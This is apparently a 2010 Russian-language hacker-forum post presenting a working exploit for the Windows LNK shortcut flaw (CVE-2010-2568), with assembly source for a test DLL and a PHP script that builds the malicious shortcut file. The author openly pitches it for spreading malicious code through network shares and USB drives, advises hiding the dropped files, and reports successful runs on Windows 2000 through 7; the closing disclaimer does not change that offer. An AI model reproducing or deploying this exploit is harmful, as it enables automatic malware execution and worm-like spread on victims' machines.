-==[Автоматический запуск DLL]=-- Данную уязвимость (багу, дырку) можно использовать для распространения своего вредоносного кода: через сетевые расшареные папки, а так же записывать на съемные USB носители информации. Она будет полезна и для автозагрузки вашей dll. В качестве теста была написана примитивная библиотека, в результате работы которой запускается обыкновенный MessageBox. Code: format PE GUI 4.0 DLL entry DllEntryPoint include 'win32a.inc' section '.code' code readable executable proc DllEntryPoint hinstDLL, fdwReason, lpvReserved cmp [fdwReason], DLL_PROCESS_ATTACH jne .done invoke MessageBox, HWND_DESKTOP, _message, _caption, MB_ICONINFORMATION + MB_OK .done: mov eax,TRUE ret endp section '.data' data readable writeable _caption db 'cve-2010-2568', 0 _message db 'Automatic load dll successfully performed!', 0 section '.idata' import data readable writeable library user32,'USER32.DLL' include 'api\user32.inc' section '.reloc' fixups data discardable Приведу еще один код - это скрипт для создания ярлыка с указанием пути до файла (не забывайте про ограничение на размер). Code: <?php $dll_path = 'c:\test.dll'; $lnk = "\x4c\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00". "\x00\x00\x00\x46\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x01\x14\x00". "\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30". "\x30\x9d\x14\x00\x2e\x1e\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd". "\x08\x00\x2b\x30\x30\x9d\x0c\x01\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00\x20\x00\x3a\x00". mb_convert_encoding($dll_path, 'UCS-2LE', 'ISO-8859-1'). "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00". "\x69\x00\x73\x00\x65\x00\x73\x00\x20\x00\xe0\x00\x20\x00\x6a\x00". "\x6f\x00\x75\x00\x72\x00\x20\x00\x61\x00\x75\x00\x74\x00\x6f\x00". "\x6d\x00\x61\x00\x74\x00\x69\x00\x71\x00\x75\x00\x65\x00\x73\x00". "\x00\x00\x43\x00\x6f\x00\x6e\x00\x66\x00\x69\x00\x67\x00\x75\x00". "\x72\x00\x65\x00\x72\x00\x20\x00\x57\x00\x69\x00\x6e\x00\x64\x00". "\x6f\x00\x77\x00\x73\x00\x20\x00\x70\x00\x6f\x00\x75\x00\x72\x00". "\x20\x00\x64\x00\x69\x00\x73\x00\x74\x00\x72\x00\x69\x00\x62\x00". "\x75\x00\x65\x00\x72\x00\x20\x00\x61\x00\x75\x00\x74\x00\x6f\x00". "\x6d\x00\x61\x00\x74\x00\x69\x00\x71\x00\x75\x00\x65\x00\x6d\x00". "\x65\x00\x6e\x00\x74\x00\x20\x00\x6c\x00\x65\x00\x73\x00\x20\x00". "\x6d\x00\x69\x00\x73\x00\x65\x00\x73\x00\x20\x00\xe0\x00\x20\x00". "\x00\x00\x00\x00\x00\x00\x00\x00"; file_put_contents("load.lnk.~~~", $lnk); ?> Для того, чтобы сделать автозагрузку нашей dll, можно добавить ее на рабочий стол. Только не забудьте сделать проверку на повторный запуск в самой библиотеке! Для распространения через носители, нужно постоянно следить за появлением устройств и как только оно будет подключено, записывать файл ярлыка и библиотеку (установите атрибуты скрытый и только для чтения). Остальные технические детали можете смело спрашивать и обсуждать в этой теме. Тесты были произведены на: Windows 2000 – успешный запуск dll Windows 2003 - успешный запуск dll Windows XP SP2/SP3 – успешный запуск dll Windows Vista - успешный запуск dll (не забываем про UAC) Windows 7 - успешный запуск dll (помним об UAC) Полезные ссылки: http://www.securityfocus.com/bid/41732 http://www.exploit-db.com/exploits/14403/ Все материалы статьи несут исключительно ознакомительный характер. Автор не несет никакой ответственности! (c) Zombie-system 2010.